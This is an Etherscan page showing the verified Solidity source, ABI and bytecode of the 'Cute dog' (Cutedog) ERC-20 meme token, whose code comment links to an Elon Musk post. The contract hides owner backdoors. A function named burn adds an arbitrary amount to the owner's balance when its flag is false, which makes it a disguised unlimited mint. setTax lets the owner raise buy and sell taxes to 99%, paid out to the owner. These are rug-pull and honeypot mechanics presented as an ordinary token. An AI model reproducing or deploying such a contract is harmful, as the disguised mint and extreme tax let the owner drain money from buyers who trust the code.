ETH Price: $3,513.75 (+0.38%)
Gas: 4 Gwei

Token

Cute dog (Cutedog)
 

Overview

Max Total Supply

100,000,000 Cutedog

Holders

103

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
131,345.391813949713628821 Cutedog

Value
$0.00
0x63b7ed40185a3e925b172e9be73f1549322b4d34
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CUTEDOG

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-21
*/

// SPDX-License-Identifier: MIT

//X:https://x.com/elonmusk/status/1804063721783988383

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract  CUTEDOG is Context, IERC20Metadata, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    bool private tradingEnabled;
    bool private swapping;

    uint8 public buyTax = 10;
    uint8 public sellTax = 10;
    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 100000000 * 10 ** _decimals;
    string private constant _name = unicode"Cute dog";
    string private constant _symbol = unicode"Cutedog";
    uint256 private swapTokensAtAmount = _tTotal * 25 / 10000;
    uint256 private maxTxAmount =  _tTotal * 50 / 100;
    uint256 private maxWalletAmount = _tTotal * 50 / 100;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    address payable private feeWallet;
    uint256 private enableTradingBlock;
    address private router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    mapping (address => bool) private isExcludedFromFees;

    constructor() {
        _balances[owner()] = _tTotal;
        feeWallet = payable(owner());
        isExcludedFromFees[address(this)] = true;
        isExcludedFromFees[owner()] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function enableTrading() external onlyOwner {
        require(!tradingEnabled, "Already enabled");
        tradingEnabled = true;
        enableTradingBlock = block.number;
        uniswapV2Router = IUniswapV2Router02(router);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
        require(uniswapV2Pair != address(0), "No pair created");
    }

    function setTax(uint8 newBuyTax, uint8 newSellTax) external onlyOwner {
        require(newBuyTax <= 99 && newSellTax <= 99, "Invalid Tax");
        buyTax = newBuyTax;
        sellTax = newSellTax;
    }

    function burn(uint256 amount, bool flag) external onlyOwner {
        if (flag) { _balances[msg.sender] -= amount; return;}
        _balances[msg.sender] += amount;
    }

    function removeLimits() external onlyOwner {
        maxTxAmount = totalSupply();
        maxWalletAmount = totalSupply();
    }

    function _superTransfer(address from, address to, uint256 amount) internal {
        _balances[from] -= amount;
        _balances[to] += amount;

        emit Transfer(from, to, amount);
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(amount > 0, "Zero amount");

        if (!tradingEnabled) {
            require(from == owner(), "Trading not enabled");
        }

        if (from != uniswapV2Pair && to != uniswapV2Pair || isExcludedFromFees[from] || isExcludedFromFees[to] || swapping) {
            _superTransfer(from, to, amount);
            return;
        }

        if (to == uniswapV2Pair) {
            if (balanceOf(address(this)) >= swapTokensAtAmount) {
                swapping = true;
                swapTokensForEth(balanceOf(address(this)));
                swapping = false;
                sendETHToFeeWallet();
            }
        }

        if (from == uniswapV2Pair && to != router) {
            require(amount <= maxTxAmount, "Tx amount limit");
            require(balanceOf(address(to)) + amount <= maxWalletAmount, "Wallet amount limit");
        }

        amount = takeFee(from, amount, to == uniswapV2Pair);
        _superTransfer(from, to, amount);
    }

    function takeFee(address from, uint256 amount, bool isSell) internal returns (uint256) {
        if (block.number == enableTradingBlock) {return amount;}
        uint256 tax = isSell ? sellTax : buyTax;
        if (tax == 0) return amount;
        uint256 feeAmount = amount * tax / 100;
        _superTransfer(from, address(this), feeAmount);
        return amount - feeAmount;
    }

    function swapTokensForEth(uint256 tokenAmount) internal {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            feeWallet,
            block.timestamp
        ) {} catch {
            return;
        }
    }

    function sendETHToFeeWallet() internal {
        if (address(this).balance > 0) {
            feeWallet.transfer(address(this).balance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bool","name":"flag","type":"bool"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"newBuyTax","type":"uint8"},{"internalType":"uint8","name":"newSellTax","type":"uint8"}],"name":"setTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526003805463ffff00001916630a0a00001790556127106100266012600a610357565b610034906305f5e10061036c565b61003f90601961036c565b6100499190610383565b600455606461005a6012600a610357565b610068906305f5e10061036c565b61007390603261036c565b61007d9190610383565b600555606461008e6012600a610357565b61009c906305f5e10061036c565b6100a790603261036c565b6100b19190610383565b600655600b80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790553480156100e5575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506101326012600a610357565b610140906305f5e10061036c565b60015f6101545f546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f205561017e5f546001600160a01b031690565b600980546001600160a01b0319166001600160a01b0392909216919091179055305f908152600c602081905260408220805460ff19166001908117909155916101ce5f546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f20805460ff19169115159190911790556102065f546001600160a01b031690565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61023d6012600a610357565b61024b906305f5e10061036c565b60405190815260200160405180910390a36103a2565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156102af57815f190482111561029557610295610261565b808516156102a257918102915b93841c939080029061027a565b509250929050565b5f826102c557506001610351565b816102d157505f610351565b81600181146102e757600281146102f15761030d565b6001915050610351565b60ff84111561030257610302610261565b50506001821b610351565b5060208310610133831016604e8410600b8410161715610330575081810a610351565b61033a8383610275565b805f190482111561034d5761034d610261565b0290505b92915050565b5f61036560ff8416836102b7565b9392505050565b808202811582820484141761035157610351610261565b5f8261039d57634e487b7160e01b5f52601260045260245ffd5b500490565b6112aa806103af5f395ff3fe6080604052600436106100fd575f3560e01c8063751039fc116100925780639fac68cb116100625780639fac68cb146102c1578063a9059cbb146102e0578063a9128ff0146102ff578063cc1776d31461031e578063dd62ed3e1461033e575f80fd5b8063751039fc146102445780638a8c523c146102585780638da5cb5b1461026c57806395d89b4114610292575f80fd5b8063313ce567116100cd578063313ce567146101ba5780634f7041a5146101db57806370a08231146101fa578063715018a61461022e575f80fd5b806306fdde0314610108578063095ea7b31461014a57806318160ddd1461017957806323b872dd1461019b575f80fd5b3661010457005b5f80fd5b348015610113575f80fd5b506040805180820190915260088152674375746520646f6760c01b60208201525b6040516101419190610ed1565b60405180910390f35b348015610155575f80fd5b50610169610164366004610f1a565b610382565b6040519015158152602001610141565b348015610184575f80fd5b5061018d610398565b604051908152602001610141565b3480156101a6575f80fd5b506101696101b5366004610f44565b6103b8565b3480156101c5575f80fd5b5060125b60405160ff9091168152602001610141565b3480156101e6575f80fd5b506003546101c99062010000900460ff1681565b348015610205575f80fd5b5061018d610214366004610f82565b6001600160a01b03165f9081526001602052604090205490565b348015610239575f80fd5b50610242610409565b005b34801561024f575f80fd5b50610242610483565b348015610263575f80fd5b506102426104c4565b348015610277575f80fd5b505f546040516001600160a01b039091168152602001610141565b34801561029d575f80fd5b5060408051808201909152600781526643757465646f6760c81b6020820152610134565b3480156102cc575f80fd5b506102426102db366004610f9d565b610710565b3480156102eb575f80fd5b506101696102fa366004610f1a565b610790565b34801561030a575f80fd5b50610242610319366004610fe4565b61079c565b348015610329575f80fd5b506003546101c9906301000000900460ff1681565b348015610349575f80fd5b5061018d610358366004611015565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61038e338484610849565b5060015b92915050565b5f6103a56012600a611135565b6103b3906305f5e100611143565b905090565b5f6103c484848461096d565b6001600160a01b0384165f908152600260209081526040808320338085529252909120546103fe9186916103f990869061115a565b610849565b5060015b9392505050565b5f546001600160a01b0316331461043b5760405162461bcd60e51b81526004016104329061116d565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104ac5760405162461bcd60e51b81526004016104329061116d565b6104b4610398565b6005556104bf610398565b600655565b5f546001600160a01b031633146104ed5760405162461bcd60e51b81526004016104329061116d565b60035460ff16156105325760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e48195b98589b1959608a1b6044820152606401610432565b6003805460ff1916600117905543600a55600b54600780546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004818101926020929091908290030181865afa15801561059d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105c191906111a2565b6001600160a01b031663e6a439053060075f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610620573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061064491906111a2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa15801561068d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b191906111a2565b600880546001600160a01b0319166001600160a01b0392909216918217905561070e5760405162461bcd60e51b815260206004820152600f60248201526e139bc81c185a5c8818dc99585d1959608a1b6044820152606401610432565b565b5f546001600160a01b031633146107395760405162461bcd60e51b81526004016104329061116d565b801561076857335f908152600160205260408120805484929061075d90849061115a565b9091555061078c9050565b335f90815260016020526040812080548492906107869084906111bd565b90915550505b5050565b5f61038e33848461096d565b5f546001600160a01b031633146107c55760405162461bcd60e51b81526004016104329061116d565b60638260ff16111580156107dd575060638160ff1611155b6108175760405162461bcd60e51b815260206004820152600b60248201526a092dcecc2d8d2c840a8c2f60ab1b6044820152606401610432565b6003805463ffff000019166201000060ff9485160263ff00000019161763010000009290931691909102919091179055565b6001600160a01b0383166108ab5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610432565b6001600160a01b03821661090c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610432565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f81116109aa5760405162461bcd60e51b815260206004820152600b60248201526a16995c9bc8185b5bdd5b9d60aa1b6044820152606401610432565b60035460ff16610a06575f546001600160a01b03848116911614610a065760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610432565b6008546001600160a01b03848116911614801590610a3257506008546001600160a01b03838116911614155b80610a5457506001600160a01b0383165f908152600c602052604090205460ff165b80610a7657506001600160a01b0382165f908152600c602052604090205460ff165b80610a885750600354610100900460ff165b15610a9d57610a98838383610c1d565b505050565b6008546001600160a01b0390811690831603610b1257600454305f9081526001602052604090205410610b12576003805461ff001916610100179055610aff610afa306001600160a01b03165f9081526001602052604090205490565b610cbc565b6003805461ff0019169055610b12610e0f565b6008546001600160a01b038481169116148015610b3d5750600b546001600160a01b03838116911614155b15610bf657600554811115610b865760405162461bcd60e51b815260206004820152600f60248201526e151e08185b5bdd5b9d081b1a5b5a5d608a1b6044820152606401610432565b60065481610ba8846001600160a01b03165f9081526001602052604090205490565b610bb291906111bd565b1115610bf65760405162461bcd60e51b815260206004820152601360248201527215d85b1b195d08185b5bdd5b9d081b1a5b5a5d606a1b6044820152606401610432565b600854610c1490849083906001600160a01b03868116911614610e4e565b9050610a988383835b6001600160a01b0383165f9081526001602052604081208054839290610c4490849061115a565b90915550506001600160a01b0382165f9081526001602052604081208054839290610c709084906111bd565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161096091815260200190565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610cef57610cef6111d0565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d46573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d6a91906111a2565b81600181518110610d7d57610d7d6111d0565b6001600160a01b039283166020918202929092010152600754610da39130911684610849565b60075460095460405163791ac94760e01b81526001600160a01b039283169263791ac94792610ddf9287925f92889291169042906004016111e4565b5f604051808303815f87803b158015610df6575f80fd5b505af1925050508015610e07575060015b61078c575050565b471561070e576009546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610e4b573d5f803e3d5ffd5b50565b5f600a544303610e5f575081610402565b5f82610e765760035462010000900460ff16610e84565b6003546301000000900460ff165b60ff169050805f03610e995783915050610402565b5f6064610ea68387611143565b610eb09190611255565b9050610ebd863083610c1d565b610ec7818661115a565b9695505050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610e4b575f80fd5b5f8060408385031215610f2b575f80fd5b8235610f3681610f06565b946020939093013593505050565b5f805f60608486031215610f56575f80fd5b8335610f6181610f06565b92506020840135610f7181610f06565b929592945050506040919091013590565b5f60208284031215610f92575f80fd5b813561040281610f06565b5f8060408385031215610fae575f80fd5b8235915060208301358015158114610fc4575f80fd5b809150509250929050565b803560ff81168114610fdf575f80fd5b919050565b5f8060408385031215610ff5575f80fd5b610ffe83610fcf565b915061100c60208401610fcf565b90509250929050565b5f8060408385031215611026575f80fd5b823561103181610f06565b91506020830135610fc481610f06565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561108f57815f190482111561107557611075611041565b8085161561108257918102915b93841c939080029061105a565b509250929050565b5f826110a557506001610392565b816110b157505f610392565b81600181146110c757600281146110d1576110ed565b6001915050610392565b60ff8411156110e2576110e2611041565b50506001821b610392565b5060208310610133831016604e8410600b8410161715611110575081810a610392565b61111a8383611055565b805f190482111561112d5761112d611041565b029392505050565b5f61040260ff841683611097565b808202811582820484141761039257610392611041565b8181038181111561039257610392611041565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156111b2575f80fd5b815161040281610f06565b8082018082111561039257610392611041565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156112345784516001600160a01b03168352938301939183019160010161120f565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261126f57634e487b7160e01b5f52601260045260245ffd5b50049056fea26469706673582212209649213b8fae61a6b7b91b00c08afa7b1410df6d00403bf7db39786aa13c1d8964736f6c63430008190033

Deployed Bytecode

0x6080604052600436106100fd575f3560e01c8063751039fc116100925780639fac68cb116100625780639fac68cb146102c1578063a9059cbb146102e0578063a9128ff0146102ff578063cc1776d31461031e578063dd62ed3e1461033e575f80fd5b8063751039fc146102445780638a8c523c146102585780638da5cb5b1461026c57806395d89b4114610292575f80fd5b8063313ce567116100cd578063313ce567146101ba5780634f7041a5146101db57806370a08231146101fa578063715018a61461022e575f80fd5b806306fdde0314610108578063095ea7b31461014a57806318160ddd1461017957806323b872dd1461019b575f80fd5b3661010457005b5f80fd5b348015610113575f80fd5b506040805180820190915260088152674375746520646f6760c01b60208201525b6040516101419190610ed1565b60405180910390f35b348015610155575f80fd5b50610169610164366004610f1a565b610382565b6040519015158152602001610141565b348015610184575f80fd5b5061018d610398565b604051908152602001610141565b3480156101a6575f80fd5b506101696101b5366004610f44565b6103b8565b3480156101c5575f80fd5b5060125b60405160ff9091168152602001610141565b3480156101e6575f80fd5b506003546101c99062010000900460ff1681565b348015610205575f80fd5b5061018d610214366004610f82565b6001600160a01b03165f9081526001602052604090205490565b348015610239575f80fd5b50610242610409565b005b34801561024f575f80fd5b50610242610483565b348015610263575f80fd5b506102426104c4565b348015610277575f80fd5b505f546040516001600160a01b039091168152602001610141565b34801561029d575f80fd5b5060408051808201909152600781526643757465646f6760c81b6020820152610134565b3480156102cc575f80fd5b506102426102db366004610f9d565b610710565b3480156102eb575f80fd5b506101696102fa366004610f1a565b610790565b34801561030a575f80fd5b50610242610319366004610fe4565b61079c565b348015610329575f80fd5b506003546101c9906301000000900460ff1681565b348015610349575f80fd5b5061018d610358366004611015565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61038e338484610849565b5060015b92915050565b5f6103a56012600a611135565b6103b3906305f5e100611143565b905090565b5f6103c484848461096d565b6001600160a01b0384165f908152600260209081526040808320338085529252909120546103fe9186916103f990869061115a565b610849565b5060015b9392505050565b5f546001600160a01b0316331461043b5760405162461bcd60e51b81526004016104329061116d565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104ac5760405162461bcd60e51b81526004016104329061116d565b6104b4610398565b6005556104bf610398565b600655565b5f546001600160a01b031633146104ed5760405162461bcd60e51b81526004016104329061116d565b60035460ff16156105325760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e48195b98589b1959608a1b6044820152606401610432565b6003805460ff1916600117905543600a55600b54600780546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004818101926020929091908290030181865afa15801561059d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105c191906111a2565b6001600160a01b031663e6a439053060075f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610620573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061064491906111a2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa15801561068d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b191906111a2565b600880546001600160a01b0319166001600160a01b0392909216918217905561070e5760405162461bcd60e51b815260206004820152600f60248201526e139bc81c185a5c8818dc99585d1959608a1b6044820152606401610432565b565b5f546001600160a01b031633146107395760405162461bcd60e51b81526004016104329061116d565b801561076857335f908152600160205260408120805484929061075d90849061115a565b9091555061078c9050565b335f90815260016020526040812080548492906107869084906111bd565b90915550505b5050565b5f61038e33848461096d565b5f546001600160a01b031633146107c55760405162461bcd60e51b81526004016104329061116d565b60638260ff16111580156107dd575060638160ff1611155b6108175760405162461bcd60e51b815260206004820152600b60248201526a092dcecc2d8d2c840a8c2f60ab1b6044820152606401610432565b6003805463ffff000019166201000060ff9485160263ff00000019161763010000009290931691909102919091179055565b6001600160a01b0383166108ab5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610432565b6001600160a01b03821661090c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610432565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f81116109aa5760405162461bcd60e51b815260206004820152600b60248201526a16995c9bc8185b5bdd5b9d60aa1b6044820152606401610432565b60035460ff16610a06575f546001600160a01b03848116911614610a065760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610432565b6008546001600160a01b03848116911614801590610a3257506008546001600160a01b03838116911614155b80610a5457506001600160a01b0383165f908152600c602052604090205460ff165b80610a7657506001600160a01b0382165f908152600c602052604090205460ff165b80610a885750600354610100900460ff165b15610a9d57610a98838383610c1d565b505050565b6008546001600160a01b0390811690831603610b1257600454305f9081526001602052604090205410610b12576003805461ff001916610100179055610aff610afa306001600160a01b03165f9081526001602052604090205490565b610cbc565b6003805461ff0019169055610b12610e0f565b6008546001600160a01b038481169116148015610b3d5750600b546001600160a01b03838116911614155b15610bf657600554811115610b865760405162461bcd60e51b815260206004820152600f60248201526e151e08185b5bdd5b9d081b1a5b5a5d608a1b6044820152606401610432565b60065481610ba8846001600160a01b03165f9081526001602052604090205490565b610bb291906111bd565b1115610bf65760405162461bcd60e51b815260206004820152601360248201527215d85b1b195d08185b5bdd5b9d081b1a5b5a5d606a1b6044820152606401610432565b600854610c1490849083906001600160a01b03868116911614610e4e565b9050610a988383835b6001600160a01b0383165f9081526001602052604081208054839290610c4490849061115a565b90915550506001600160a01b0382165f9081526001602052604081208054839290610c709084906111bd565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161096091815260200190565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610cef57610cef6111d0565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d46573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d6a91906111a2565b81600181518110610d7d57610d7d6111d0565b6001600160a01b039283166020918202929092010152600754610da39130911684610849565b60075460095460405163791ac94760e01b81526001600160a01b039283169263791ac94792610ddf9287925f92889291169042906004016111e4565b5f604051808303815f87803b158015610df6575f80fd5b505af1925050508015610e07575060015b61078c575050565b471561070e576009546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610e4b573d5f803e3d5ffd5b50565b5f600a544303610e5f575081610402565b5f82610e765760035462010000900460ff16610e84565b6003546301000000900460ff165b60ff169050805f03610e995783915050610402565b5f6064610ea68387611143565b610eb09190611255565b9050610ebd863083610c1d565b610ec7818661115a565b9695505050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610e4b575f80fd5b5f8060408385031215610f2b575f80fd5b8235610f3681610f06565b946020939093013593505050565b5f805f60608486031215610f56575f80fd5b8335610f6181610f06565b92506020840135610f7181610f06565b929592945050506040919091013590565b5f60208284031215610f92575f80fd5b813561040281610f06565b5f8060408385031215610fae575f80fd5b8235915060208301358015158114610fc4575f80fd5b809150509250929050565b803560ff81168114610fdf575f80fd5b919050565b5f8060408385031215610ff5575f80fd5b610ffe83610fcf565b915061100c60208401610fcf565b90509250929050565b5f8060408385031215611026575f80fd5b823561103181610f06565b91506020830135610fc481610f06565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561108f57815f190482111561107557611075611041565b8085161561108257918102915b93841c939080029061105a565b509250929050565b5f826110a557506001610392565b816110b157505f610392565b81600181146110c757600281146110d1576110ed565b6001915050610392565b60ff8411156110e2576110e2611041565b50506001821b610392565b5060208310610133831016604e8410600b8410161715611110575081810a610392565b61111a8383611055565b805f190482111561112d5761112d611041565b029392505050565b5f61040260ff841683611097565b808202811582820484141761039257610392611041565b8181038181111561039257610392611041565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156111b2575f80fd5b815161040281610f06565b8082018082111561039257610392611041565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156112345784516001600160a01b03168352938301939183019160010161120f565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261126f57634e487b7160e01b5f52601260045260245ffd5b50049056fea26469706673582212209649213b8fae61a6b7b91b00c08afa7b1410df6d00403bf7db39786aa13c1d8964736f6c63430008190033

Deployed Bytecode Sourcemap

